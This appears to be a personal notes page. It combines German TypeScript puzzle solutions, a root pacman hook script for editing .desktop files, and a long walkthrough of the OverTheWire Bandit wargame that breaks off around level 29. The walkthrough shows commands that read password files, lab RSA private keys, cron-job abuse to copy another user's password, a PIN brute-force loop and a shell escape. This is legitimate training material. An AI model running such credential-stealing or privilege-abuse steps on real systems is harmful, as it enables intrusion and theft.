3
4
5
const alter = 15

if (alter &18) {
console.log('Kind')
}

level TS03

1
const einHalb = 0,5
1
const einHalb = 0.5

level TS04

1
variable = 2
1
var iable = 2

level TS05

1
2
3
4
5
const zahl: number = 101

const text: string = "htw"

const ups: number = "42"

gold

1
2
3
4
5
const zahl: number = 101

const text: string = "htw"

//const ups: number = "42"

hacker

learn about Bitwise NOT

The bitwise NOT (~) operator returns a number or BigInt whose binary representation has a 1 in each bit position for which the corresponding bit of the operand is 0, and a 0 otherwise.

1
2
3
4
5
6
const zahl: number = 101

const text: string = "htw"

const ups: number = ~"42"

level TS06

1
2
3
4
5
6
function fn_42() {
return 42
}

const zahl: number = fn_42

gold

1
2
3
4
5
6
function fn_42() {
return 42
}

const zahl: number = fn_42()

hacker

zahl = -1 here

1
~fn_42 = ~Number(fn_42) = ~NaN = ~0 = -1
1
2
3
4
5
function fn_42() {
return 42
}

const zahl: number = ~fn_42

level TS07

1
const text = "Und sie fragte sich, was "Typescript" wohl bedeutet"
1
const text = "Und sie fragte sich, was Typescript wohl bedeutet"

level TS08

1
2
3
Ich mag viel lieber in Python programmieren

Hab ja einfach gar keinen Bock -_-

Template Literals

1
2
3
4
`Ich mag viel lieber in Python programmieren

Hab ja einfach gar keinen Bock -_-
`

level TS09

learn about non-null assertion

1
2
3
4
5
6
7
8
9
10
let vielleichtText: string | null = null

if (Math.random() < 0.5) {
/* ` ` */
vielleichtText = 'Juhu!'
}

const sicherText: string = vielleichtText

console.log(sicherText)
1
2
3
4
5
6
7
8
9
10
let vielleichtText: string | null = null

if (Math.random() < 0.5) {
/* ` ` */
vielleichtText = 'Juhu!'
}

const sicherText: string = vielleichtText!

console.log(sicherText)

level TS010

1
const ergebnis = 11 + -(-3 - ((3 + 4) / 10) * 40
1
const ergebnis = 11 + -(-3 - ((3 + 4) / 10) * 40)

level TS011

1
2
3
4
5
6
7
8
9
10
11
interface Datum {
tag: number
monat: number
jahr: number
}

// ` So alt, dass schon Teile fehlen `
const damals: Datum = {
monat: 12,
jahr: 1995,
}

learn about optional parameters

1
2
3
4
5
6
7
8
9
10
11
interface Datum {
tag?: number
monat: number
jahr: number
}

// ` So alt, dass schon Teile fehlen `
const damals: Datum = {
monat: 12,
jahr: 1995,
}

level TS012

1
2
3
4
5
6
7
8
9
10
11
12
13
const zutaten = {
apfel: 10,
birne: 5,
clementine: 3,
dattel: 4,
}

const salat =
// Obst */``*/ salat und Buchstabenmix
zutaten.apfel + zutaten.Apfel +
zutaten.Clementine + zutaten.Clementine + zutaten.Clementine

console.log(salat)
1
2
3
4
5
6
7
8
9
10
11
12
13
const zutaten = {
apfel: 10,
birne: 5,
Clementine: 3,
dattel: 4,
}

const salat =
// Obst */``*/ salat und Buchstabenmix
zutaten.apfel + zutaten.apfel +
zutaten.Clementine + zutaten.Clementine + zutaten.Clementine

console.log(salat)

This hook runs as root after a pacman transaction. Never point Exec at a script or package list writable by an ordinary user. Install both under root-owned paths; every ancestor directory must also be protected from user writes.

Save this as ap in your working directory for review, then install it as shown below. It handles simple, unquoted executable names in the first Exec= line only; quoted executable paths and Desktop Actions need a Desktop Entry-aware implementation rather than this small patcher.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
set -euo pipefail
[[ "$EUID" -eq 0 ]] || { printf 'Run through the root-owned pacman hook.\n' >&2; exit 1; }
PARAM="--enable-wayland-ime"
LIST="/etc/desktop-wayland-ime/apps.list"

modify_desktop() {
local file="$1" exec_line command rest
[[ -f "$file" && ! -L "$file" ]] || return 0
exec_line=$(grep -m1 '^Exec=' "$file") || return 0
# Only simple, unquoted executable tokens; skip other grammar safely.
if [[ "$exec_line" =~ ^Exec=([[:alnum:]_./-]+)([[:blank:]].*)?$ ]]; then
command="${BASH_REMATCH[1]}"
rest="${BASH_REMATCH[2]:-}"
else
return 0
fi
[[ " $rest " == *" $PARAM "* ]] && return 0
# Replace only the executable token; leave arguments (including & and |) untouched.
sed -i "0,/^Exec=/s|^Exec=[^[:blank:]]*|& $PARAM|" "$file"
}

while IFS= read -r app || [[ -n "$app" ]]; do
[[ -z "$app" || "$app" == \#* ]] && continue
# Accept desktop basenames only, never paths or traversal.
[[ "$app" =~ ^[[:alnum:]_-][[:alnum:]_.-]*$ ]] || { printf 'Invalid desktop basename.\n' >&2; exit 1; }
modify_desktop "/usr/share/applications/$app.desktop"
done < "$LIST"

Save the package list as apps.list, for example:

1
2
3
cursor-cursor
qq
cherry-studio

Install the reviewed script and list (the working copies are not executed by the hook):

1
2
3
sudo install -d -o root -g root -m 0755 /etc/desktop-wayland-ime
sudo install -o root -g root -m 0755 ap /usr/local/sbin/desktop-wayland-ime
sudo install -o root -g root -m 0644 apps.list /etc/desktop-wayland-ime/apps.list

Create /etc/pacman.d/hooks/desktop-wayland-ime.hook with root:root ownership and mode 0644. Ensure the hook directory and /usr/local/sbin are root-owned and not writable by ordinary users; if those directories are already user-writable, repair that prerequisite before installing anything.

1
2
3
4
5
6
7
8
9
10
[Trigger]
Operation = Install
Operation = Upgrade
Type = Package
Target = *

[Action]
Description = Adding --enable-wayland-ime to selected .desktop files
When = PostTransaction
Exec = /usr/local/sbin/desktop-wayland-ime

The hook modifies selected package-owned files in /usr/share/applications; package upgrades can overwrite them again. A user-level desktop override is an alternative when the setting is only for one account.

Test the parser/idempotence against disposable desktop fixtures before installing, rather than performing a system upgrade only to test a hook. After installation, inspect ownership, mode and the modified Exec= lines during an independently planned package transaction. The earlier personal paru -Syu observation was not rerun for this revised hook; no package upgrade or root execution was performed in this review.

bandit

bandit.labs.overthewire.org 2220

level 0 → level 1

1
bandit0@bandit:~$ cat readme
[credential redacted]

level 1 → level 2

1
bandit1@bandit:~$ cat ./-
[credential redacted]

level 2 → level 3

1
bandit2@bandit:~$ cat ./sp*
[credential redacted]

level 3 → level 4

1
bandit3@bandit:~$ cat ./inhere/...H*
[credential redacted]

level 4 → level 5

1
bandit4@bandit:~$ file ./inhere/* | grep ASCII | cut -d ':' -f 1 | xargs cat
[credential redacted]

level 5 → level 6

1
bandit5@bandit:~$ find ./inhere/ -type f -size 1033c | xargs cat
[credential redacted]

level 6 → level 7

1
bandit6@bandit:~$ find / -type f -size 33c -user bandit7 -group bandit6 2> /dev/null | xargs cat
[credential redacted]

level 7 → level 8

1
bandit7@bandit:~$ cat data.txt | grep millionth | awk '{print $2}'
[credential redacted]

level 8 → level 9

1
bandit8@bandit:~$ sort data.txt | uniq -u
[credential redacted]

level 9 → level 10

man grep File and Directory Selection -a, --text Process a binary file as if it were text; this is equivalent to the --binary-files=text option.

1
bandit9@bandit:~$ cat data.txt | grep -a === |strings | tail -n 1 |awk '{print $2}'
[credential redacted]

level 10 → level 11

1
bandit10@bandit:~$ cat data.txt | base64 -d | awk '{print $NF}'
[credential redacted]

level 11 → level 12

Map each character of the first set to the corresponding character of the second set:

1
tr 'abcd' 'jkmn' < path/to/file

CHAR1-CHAR2 all characters from CHAR1 to CHAR2 in ascending order

1
tr 'N-ZA-Mn-za-m' 'A-Za-z'
1
bandit11@bandit:~$ cat data.txt  | tr 'A-Za-z' 'N-ZA-Mn-za-m' | awk '{print $NF}'

or

use vim g? keymap

[credential redacted]

level 12 → level 13

Revert a plaintext hexdump back into binary, and save it as a binary file:

1
xxd [-r|-revert] [-p|-postscript] input_file output_file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
bandit12@bandit:~$ mktemp -d
/tmp/tmp.KykZXHYnaH

bandit12@bandit:~$ cp data.txt /tmp/tmp.KykZXHYnaH

bandit12@bandit:~$ cd /tmp/tmp.KykZXHYnaH

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ xxd -r data.txt > a.gz

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ gzip -d a.gz

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file a
a: bzip2 compressed data, block size = 900k

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ bzip2 -d a
#bzip2: Can't guess original name for a -- using a.out

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file a.out
a.out: gzip compressed data, was "data4.bin", last modified: Thu Apr 10 14:22:57 2025, max compression, from Unix, original size modulo 2^32 20480

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ gzip -d a.out
gzip: a.out: unknown suffix -- ignored

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ mv a.out a.gz

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ gzip -d a.gz

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file a
a: POSIX tar archive (GNU)
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ tar xf a

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ tar xf data5.bin

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ bzip2 -d data6.bin
#bzip2: Can't guess original name for data6.bin -- using data6.bin.out

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ mv data6.bin.out a.tar

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ tar xf a.tar

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file a
a: POSIX tar archive (GNU)

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data7.bin
#data7.bin: cannot open `data7.bin' (No such file or directory)

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data8.bin
data8.bin: gzip compressed data, was "data9.bin", last modified: Thu Apr 10 14:22:57 2025, max compression, from Unix, original size modulo 2^32 49

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ mv data8.bin d.gz

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ gzip -d d.gz

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file d
d: ASCII text

bandit12@bandit:/tmp/tmp.KykZXHYnaH$ cat d
[credential redacted]

level 13 → level 14

1
bandit13@bandit:~$ cat sshkey.private
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAxkkOE83W2cOT7IWhFc9aPaaQmQDdgzuXCv+ppZHa++buSkN+
gg0tcr7Fw8NLGa5+Uzec2rEg0WmeevB13AIoYp0MZyETq46t+jk9puNwZwIt9XgB
ZufGtZEwWbFWw/vVLNwOXBe4UWStGRWzgPpEeSv5Tb1VjLZIBdGphTIK22Amz6Zb
ThMsiMnyJafEwJ/T8PQO3myS91vUHEuoOMAzoUID4kN0MEZ3+XahyK0HJVq68KsV
ObefXG1vvA3GAJ29kxJaqvRfgYnqZryWN7w3CHjNU4c/2Jkp+n8L0SnxaNA+WYA7
jiPyTF0is8uzMlYQ4l1Lzh/8/MpvhCQF8r22dwIDAQABAoIBAQC6dWBjhyEOzjeA
J3j/RWmap9M5zfJ/wb2bfidNpwbB8rsJ4sZIDZQ7XuIh4LfygoAQSS+bBw3RXvzE
pvJt3SmU8hIDuLsCjL1VnBY5pY7Bju8g8aR/3FyjyNAqx/TLfzlLYfOu7i9Jet67
xAh0tONG/u8FB5I3LAI2Vp6OviwvdWeC4nOxCthldpuPKNLA8rmMMVRTKQ+7T2VS
nXmwYckKUcUgzoVSpiNZaS0zUDypdpy2+tRH3MQa5kqN1YKjvF8RC47woOYCktsD
o3FFpGNFec9Taa3Msy+DfQQhHKZFKIL3bJDONtmrVvtYK40/yeU4aZ/HA2DQzwhe
ol1AfiEhAoGBAOnVjosBkm7sblK+n4IEwPxs8sOmhPnTDUy5WGrpSCrXOmsVIBUf
laL3ZGLx3xCIwtCnEucB9DvN2HZkupc/h6hTKUYLqXuyLD8njTrbRhLgbC9QrKrS
M1F2fSTxVqPtZDlDMwjNR04xHA/fKh8bXXyTMqOHNJTHHNhbh3McdURjAoGBANkU
1hqfnw7+aXncJ9bjysr1ZWbqOE5Nd8AFgfwaKuGTTVX2NsUQnCMWdOp+wFak40JH
PKWkJNdBG+ex0H9JNQsTK3X5PBMAS8AfX0GrKeuwKWA6erytVTqjOfLYcdp5+z9s
8DtVCxDuVsM+i4X8UqIGOlvGbtKEVokHPFXP1q/dAoGAcHg5YX7WEehCgCYTzpO+
xysX8ScM2qS6xuZ3MqUWAxUWkh7NGZvhe0sGy9iOdANzwKw7mUUFViaCMR/t54W1
GC83sOs3D7n5Mj8x3NdO8xFit7dT9a245TvaoYQ7KgmqpSg/ScKCw4c3eiLava+J
3btnJeSIU+8ZXq9XjPRpKwUCgYA7z6LiOQKxNeXH3qHXcnHok855maUj5fJNpPbY
iDkyZ8ySF8GlcFsky8Yw6fWCqfG3zDrohJ5l9JmEsBh7SadkwsZhvecQcS9t4vby
9/8X4jS0P8ibfcKS4nBP+dT81kkkg5Z5MohXBORA7VWx+ACohcDEkprsQ+w32xeD
qT1EvQKBgQDKm8ws2ByvSUVs9GjTilCajFqLJ0eVYzRPaY6f++Gv/UVfAPV4c+S0
kAWpXbv5tbkkzbS0eaLPTKgLzavXtQoTtKwrjpolHKIHUz6Wu+n4abfAIRFubOdN
/+aLoRQ0yBDRbdXMsZN/jvY44eM+xRLdRVyMmdPtP8belRi2E2aEzA==
-----END RSA PRIVATE KEY-----

level 14 → level 15

Connect to a remote server with a specific identity (private key):

1
ssh -i path/to/key_file username@remote_host
1
2
3
4
# Create a file named sshkey.private and paste the above private key into it
> vim sshkey.private

> ssh bandit14@bandit.labs.overthewire.org -p 2220 -i sshkey.private

get tips from level 13, the password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14

1
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14

this password is not the password for next level, it is the password port 30000

[credential redacted]

Connect to a target listener on the specified port:

1
nc host port
1
2
3
4
bandit14@bandit:~$ nc localhost 30000
#copy the password from above and paste it here
Correct!
#password to next level

or

1
cat /etc/bandit_pass/bandit14 | nc localhost 30000
[credential redacted]

level 15 → level 16

1
2
3
4
5
6
bandit15@bandit:~$ openssl s_client localhost:30001
# some info ... or use -quiet to suppress the output
# openssl s_client -connect localhost:30001 -quiet
<credential-redacted>
Correct!
#password to next level
[credential redacted]

another way to get the password is to use the command below

1
2
3
ncat --ssl localhost 30001
socat - OPENSSL:localhost:30001,verify=0
# use verify=0 to disable certificate verification

level 16 → level 17

Show all TCP sockets listening on the local 8080 port:

1
ss [-lt|--listening --tcp] src :8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
bandit16@bandit:~$ ss -lt | grep 31
LISTEN 0 4096 0.0.0.0:31518 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:31790 0.0.0.0:*
LISTEN 0 64 *:31691 *:*
LISTEN 0 64 *:31046 *:*
LISTEN 0 4096 *:2231 *:*
LISTEN 0 64 *:31960 *:*

bandit16@bandit:~$ ncat --ssl localhost 31790
<credential-redacted>
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

level 17 → level 18

1
ssh bandit17@bandit.labs.overthewire.org -p 2220 -i sshkey.private
1
bandit17@bandit:~$ diff passwords.new passwords.old
[credential redacted]

level 18 → level 19

1
ssh bandit18@bandit.labs.overthewire.org -p 2220 -t cat ./readme

or

1
ssh bandit18@bandit.labs.overthewire.org -p 2220 /bin/bash
[credential redacted]

level 19 → level 20

1
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
[credential redacted]

level 20 → level 21

1
2
3
4
5
6
7
8
bandit20@bandit:~$ echo flaglevel20 | nc -l -p 7890 &
[1] 2043

bandit20@bandit:~$ ./suconnect 7890
Read: flaglevel20
Password matches, sending next password
flagtonextlevel
[1]+ Done echo flaglevel20 | nc -l -p 7890
[credential redacted]

level 21 → level 22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bandit21@bandit:~$ ls /etc/cron.d/
clean_tmp cronjob_bandit23 e2scrub_all sysstat
cronjob_bandit22 cronjob_bandit24 otw-tmp-dir

bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
[credential redacted]

level 22 → level 23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null

bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

➤ echo I am user bandit23 | md5sum |cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
[credential redacted]

level 23 → level 24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done

bandit23@bandit:~$ vim /var/spool/bandit24/foo/tmp.sh
#!/bin/bash

myname=bandit24
cat /etc/bandit_pass/$myname > /tmp/$myname.pass

bandit23@bandit:~$ chmod 777 /var/spool/bandit24/foo/tmp.sh

bandit23@bandit:~$ cat /tmp/bandit24.pass
[credential redacted]

level 24 → level 25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bandit24@bandit:/tmp/tmp.YfKCvV5CzF$ vim tmp.sh
#!/bin/bash
password="<credential-redacted>"

for i in {1000..9999}; do
echo "$password $i"
done | nc localhost 30002

bandit24@bandit:/tmp/tmp.YfKCvV5CzF$ ./tmp.sh
...
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Correct!
The password of user bandit25 is
[credential redacted]

level 25 → level 26

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
bandit25@bandit:~$ cat bandit26.sshkey
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW
pTfaeRHXzr0Y0a5Oe3GB/+W2+PReif+bPZlzTY1XFwpk+DiHk1kmL0moEW8HJuT9
/5XbnpjSzn0eEAfFax2OcopjrzVqdBJQerkj0puv3UXY07AskgkyD5XepwGAlJOG
xZsMq1oZqQ0W29aBtfykuGie2bxroRjuAPrYM4o3MMmtlNE5fC4G9Ihq0eq73MDi
1ze6d2jIGce873qxn308BA2qhRPJNEbnPev5gI+5tU+UxebW8KLbk0EhoXB953Ix
3lgOIrT9Y6skRjsMSFmC6WN/O7ovu8QzGqxdywIDAQABAoIBAAaXoETtVT9GtpHW
qLaKHgYtLEO1tOFOhInWyolyZgL4inuRRva3CIvVEWK6TcnDyIlNL4MfcerehwGi
il4fQFvLR7E6UFcopvhJiSJHIcvPQ9FfNFR3dYcNOQ/IFvE73bEqMwSISPwiel6w
e1DjF3C7jHaS1s9PJfWFN982aublL/yLbJP+ou3ifdljS7QzjWZA8NRiMwmBGPIh
Yq8weR3jIVQl3ndEYxO7Cr/wXXebZwlP6CPZb67rBy0jg+366mxQbDZIwZYEaUME
zY5izFclr/kKj4s7NTRkC76Yx+rTNP5+BX+JT+rgz5aoQq8ghMw43NYwxjXym/MX
c8X8g0ECgYEA1crBUAR1gSkM+5mGjjoFLJKrFP+IhUHFh25qGI4Dcxxh1f3M53le
wF1rkp5SJnHRFm9IW3gM1JoF0PQxI5aXHRGHphwPeKnsQ/xQBRWCeYpqTme9amJV
tD3aDHkpIhYxkNxqol5gDCAt6tdFSxqPaNfdfsfaAOXiKGrQESUjIBcCgYEAxvmI
2ROJsBXaiM4Iyg9hUpjZIn8TW2UlH76pojFG6/KBd1NcnW3fu0ZUU790wAu7QbbU
i7pieeqCqSYcZsmkhnOvbdx54A6NNCR2btc+si6pDOe1jdsGdXISDRHFb9QxjZCj
6xzWMNvb5n1yUb9w9nfN1PZzATfUsOV+Fy8CbG0CgYEAifkTLwfhqZyLk2huTSWm
pzB0ltWfDpj22MNqVzR3h3d+sHLeJVjPzIe9396rF8KGdNsWsGlWpnJMZKDjgZsz
JQBmMc6UMYRARVP1dIKANN4eY0FSHfEebHcqXLho0mXOUTXe37DWfZza5V9Oify3
JquBd8uUptW1Ue41H4t/ErsCgYEArc5FYtF1QXIlfcDz3oUGz16itUZpgzlb71nd
1cbTm8EupCwWR5I1j+IEQU+JTUQyI1nwWcnKwZI+5kBbKNJUu/mLsRyY/UXYxEZh
ibrNklm94373kV1US/0DlZUDcQba7jz9Yp/C3dT/RlwoIw5mP3UxQCizFspNKOSe
euPeaxUCgYEAntklXwBbokgdDup/u/3ms5Lb/bm22zDOCg2HrlWQCqKEkWkAO6R5
/Wwyqhp/wTl8VXjxWo+W+DmewGdPHGQQ5fFdqgpuQpGUq24YZS8m66v5ANBwd76t
IZdtF5HXs2S5CADTwniUS5mX1HO9l5gUkk+h0cH5JnPtsMCnAUM+BRY=
-----END RSA PRIVATE KEY-----

bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0

taken from https://medium.com/@coturnix97/overthewires-bandit-25-26-shell-355d78fd2f4d

1
2
3
4
5
6
7
# small virtual terminal window
➤ ssh bandit26@bandit.labs.overthewire.org -p 2220 -i bandit26.sshkey

# press v :e /etc/bandit_pass/bandit26
# :set shell=/bin/bash
# :shell

[credential redacted]

level 26 → level 27

1
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
[credential redacted]

level 27 → level 28

Dont forget to mktemp a directory to clone the git repository into, otherwise you will get fatal: could not create work tree dir 'repo': Permission denied

1
2
3
4
5
6
7
8
9
10
11
12
13
bandit27@bandit:~$ mktemp -d
/tmp/tmp.W54bwIQdTm

bandit27@bandit:~$ cd /tmp/tmp.W54bwIQdTm

bandit27@bandit:/tmp/tmp.W54bwIQdTm$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
...
bandit27-git@localhost's password:
...

bandit27@bandit:/tmp/tmp.W54bwIQdTm/repo$ cat README
The password to the next level is:

[credential redacted]

level 28 → level 29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
bandit28@bandit:~$ mktemp -d
/tmp/tmp.Dnue3slg2g
bandit28@bandit:~$ cd /tmp/tmp.Dnue3slg2g
bandit28@bandit:/tmp/tmp.Dnue3slg2g$ git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit28/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|


This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

bandit28-git@localhost's password:
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.

bandit28@bandit:/tmp/tmp.Dnue3slg2g/repo$ git log -p
commit 674690a00a0056ab96048f7317b9ec20c057c06b (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date: Thu Apr 10 14:23:19 2025 +0000

fix info leak

diff --git a/README.md b/README.md
index d4e3b74..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials

- username: bandit29
-- password: <credential-redacted>
+- password: xxxxxxxxxx
...
[credential redacted]

level 29 → level 30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
bandit29@bandit:/tmp/tmp.uymj8B2LpI$ git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit29/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit29/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
